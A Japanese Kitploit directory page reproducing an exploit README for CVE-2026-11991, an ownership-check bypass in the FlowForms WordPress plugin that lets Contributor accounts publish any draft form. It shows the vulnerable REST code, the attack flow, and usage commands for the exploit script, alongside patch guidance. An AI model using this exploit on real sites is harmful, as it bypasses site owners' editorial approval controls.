Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-11991-Exploit — CVE-2026-11991の自動エクスプロイト。FlowForms WordPressプラグインにおける認可バイパスで、Contributor+ユーザーが細工したREST APIリクエストを介して任意の下書きフォームを公開できるようにします。 | Kitploit
ツール/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

CVE-2026-11991の自動エクスプロイト。FlowForms WordPressプラグインにおける認可バイパスで、Contributor+ユーザーが細工したREST APIリクエストを介して任意の下書きフォームを公開できるようにします。

リポジトリを見る
12時間30分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-11991 — FlowForms 未承認フォーム公開

認証済み(投稿者以上)の認可バイパスにより、FlowForms ≤ 1.1.1 の任意の下書きフォームを公開可能

脆弱性概要

プロパティ値
CVE IDCVE-2026-11991
CVSS スコア6.2 — 中程度
CVSS ベクタAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639(ユーザー制御キーによる認可バイパス)
製品FlowForms — WordPress 会話型フォームビルダープラグイン
影響を受けるバージョン1.1.1 までの全バージョン
修正バージョン1.1.2
研究者Phantom Hat

技術的分析

ソースコード分析、入力フローの追跡、パッチ差分を含む完全なホワイトボックスケーススタディ:

📄 CVE-2026-11991 ケーススタディ — Medium

攻撃対象領域

FlowForms は flowforms/v1 名前空間の下で REST API を公開しています。公開エンドポイント:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

は URL パス内のユーザー制御の {id} を受け入れ、下書きフォームをライブサイトに昇格させます。

根本原因

/publish ルートの permission_callback は、一般的な権限チェックのみを実行します:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts は**投稿者(Contributor)**が保持する権限です — WordPress が意図的にコンテンツ公開を制限しているロールです。対象の form_id に対する所有権の検証は一切ありません。認証済みの任意のユーザーがサイト上の任意の下書きフォームを公開できます。

攻撃フロー

root@kitploit:~
攻撃者(投稿者)                    FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) 投稿者として認証
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) REST nonce を取得
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) 下書きフォームを列挙
        │<─ "Form Not Published" ───────────│      (未認証レスポンス)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) 任意の下書きフォーム ID に
        │        {id}/publish ─────────────>│      公開をトリガー
        │                                   │      ← 所有者チェックなし
        │<─ { "success": true } ────────────│
        │                                   │
        │   フォームがサイト上で LIVE に     │  (5) 編集承認ワークフローを
        │   編集承認なしで公開される         │      バイパス

エクスプロイトの使用方法

前提条件

  • Python 3.8+
  • 対象サイトで少なくとも 投稿者(Contributor) ロールを持つ認証済みアカウント

インストール

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

基本的な使用方法

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

プロキシ使用時(Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

全フラグリファレンス

フラグ説明必須
--url対象 WordPress URL✅
--userWordPress ユーザー名(投稿者以上)✅
--passwordWordPress パスワード✅
--num_forms列挙するフォーム ID の数✅
--id_start列挙を開始するフォーム ID✅
--proxyプロキシ URL(例: http://127.0.0.1:8080)❌

エクスプロイトのワークフロー

このエクスプロイトは 3 つの自動化ステップを実行します:

ステップ 1 — 認証 攻撃者(投稿者)としてログインし、wp-admin から有効な REST API nonce を取得します。

ステップ 2 — 下書きの列挙 指定された ID 範囲で GET /flowform/{id} をスキャンします。"Form Not Published" を返すフォームがターゲットとして収集されます — これらは攻撃者が所有権を持たない下書きフォームです。

ステップ 3 — 公開 攻撃者の nonce を使用して POST /flowforms/v1/forms/{id}/publish を送信します。エンドポイントはリクエストを受け入れ、下書きを昇格させ、フォームをライブにします — 所有権に関する認可チェックは一切ありません。


修復策

アクション詳細
パッチ一般的な edit_posts チェックを current_user_can('edit_post', $form_id) に置き換える — 2 番目の引数は権限チェックを特定の投稿オブジェクトにバインドし、WordPress の所有権ルールを強制します
緩和策パッチ適用までの間、プラグインがアクティブな場合は 投稿者(Contributor) および 作成者(Author) ロールを制限する

安全な実装

root@kitploit:~
// 脆弱なコード
'permission_callback' => fn() => current_user_can('edit_posts'),

// 安全なコード(パッチ適用後)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

参考情報

  • CWE-639 — ユーザー制御キーによる認可バイパス
  • register_rest_route() — WordPress 開発者ドキュメント
  • current_user_can() — WordPress 開発者ドキュメント
  • FlowForms プラグイン — WordPress.org

プロジェクト構造

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # リッチな UI を備えた洗練されたエクスプロイト
├── requirements.txt            # Python 依存関係
└── README.md                   # このファイル

免責事項

このツールは、許可されたセキュリティテストおよび教育研究目的のみで提供されています。 コンピュータシステムへの不正アクセスは、世界中の該当法律により違法とされています。 著者は本ソフトウェアの誤用に対して一切の責任を負いません。 所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。


著者

Phantom Hat — 独立系セキュリティ研究者

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

この調査は、責任ある脆弱性開示の一環として実施されました。

ツールをダウンロード